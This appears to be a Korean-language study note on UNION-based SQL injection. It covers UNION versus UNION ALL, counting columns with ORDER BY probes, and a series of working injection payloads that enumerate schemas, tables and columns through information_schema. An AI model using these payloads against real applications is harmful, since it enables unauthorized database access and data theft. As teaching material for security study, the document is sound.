UNION SQL INJECTION

UNION SQL INJECTION 공격

사용자 입력값 // SQL 쿼리를 공격

 

UNION // UNION ALL

 

ex)

CREATE DATABASE test;

USE test

CREATE TABLE user1 (idx int, id varchar(10));
INSERT INTO user1 VALUES (1,'admin');
INSERT INTO user1 VALUES (2,'Kim');
INSERT INTO user1 VALUES (3,'Park');



CREATE TABLE user2 (idx int,id varchar(10));
INSERT INTO user2 VALUES (1,'admin');
INSERT INTO user2 VALUES (2,'Lee');
INSERT INTO user2 VALUES (3,'Choi');

SQL 인젝션 공격을 할 때 중복제거를 하면 오류가 발생하는 경우 있을 수 있으므로 UNION(X) UNION ALL(사용)

UNION : 자동으로 중복을 제거시키는 역할

UNION ALL : 중복 제거 없이 전부 합쳐서 출력

상위 컬럼 갯수와 하위 컬럼 갯수가 일치하지 않아 생기는 ERROR

중복 제거가 되지 않게 UNION ALL 꼭 사용하기

1. 대용량 타입의 데이터 타입은 중복제거와 컬럼 정렬이 불가능 하다

2. 대용량 타입의 데이터 타입은 정렬이 불가능하다 > 단, MySQL은 상관하지 않는다.

 

UNION 공격을 하기 위해 필요한 첫번째 정보 : 컬럼의 개수

UNION 공격을 하기 위한 두번째 정보 : 대용량 데이터 타입의 유무

 

ORDER BY 1 : 첫번째 컬럼에서 오름차순으로 정렬하시오

ORDER BY 2 : 두번째 컬럼에서 오름차순으로 정렬하시오

ORDER BY 1000 : 천번째 컬럼에서 오름차순으로 정렬하시오

 

ORDER BY 1 : (O) 첫번째 컬럼이 존재한다

ORDER BY 2 : (O) 두번째 컬럼이 존재한다

...

ORDER BY 5 : (ERROR) 다섯번째 컬럼이 존재하지않는다 ?

> 대용량 타입의 데이터 타입이라 정렬이 불가능일 수도 있다.

그러므로 ORDER BY 6 : (O) 이 될 수도 있으니까 최소 3개는 더 확인해봐야함

 

idx 순으로 정렬 되는것을 확인

title 순으로 정렬되는것을 확인

 

SELECT * FROM table WHERE TITLE='[사용자 입력 값]'

' UNION SELECT null,null,null,null,null,null,null #

' and 1=2 UNION SELECT null,null,null,null,null,null,null #

각 숫자들의 데이터 위치를 확인하기

' and 1=2 UNION SELECT '1','2','null','4','null','null','7' #

데이터 베이스 이름, 유저 이름, 버전 확인 가능

메타데이터 목록화하기

' and 1=2 UNION SELECT schema_name,'2',null,'4',null,null,'7' from information_schema.schemata #

---

' and 1=2 UNION SELECT table_name,'2',null,'4',null,null,'7' from information_schema.tables #

' and 1=2 UNION SELECT column_name,'2',null,'4',null,null,'7' from information_schema.columns WHERE table_name='character_sets' #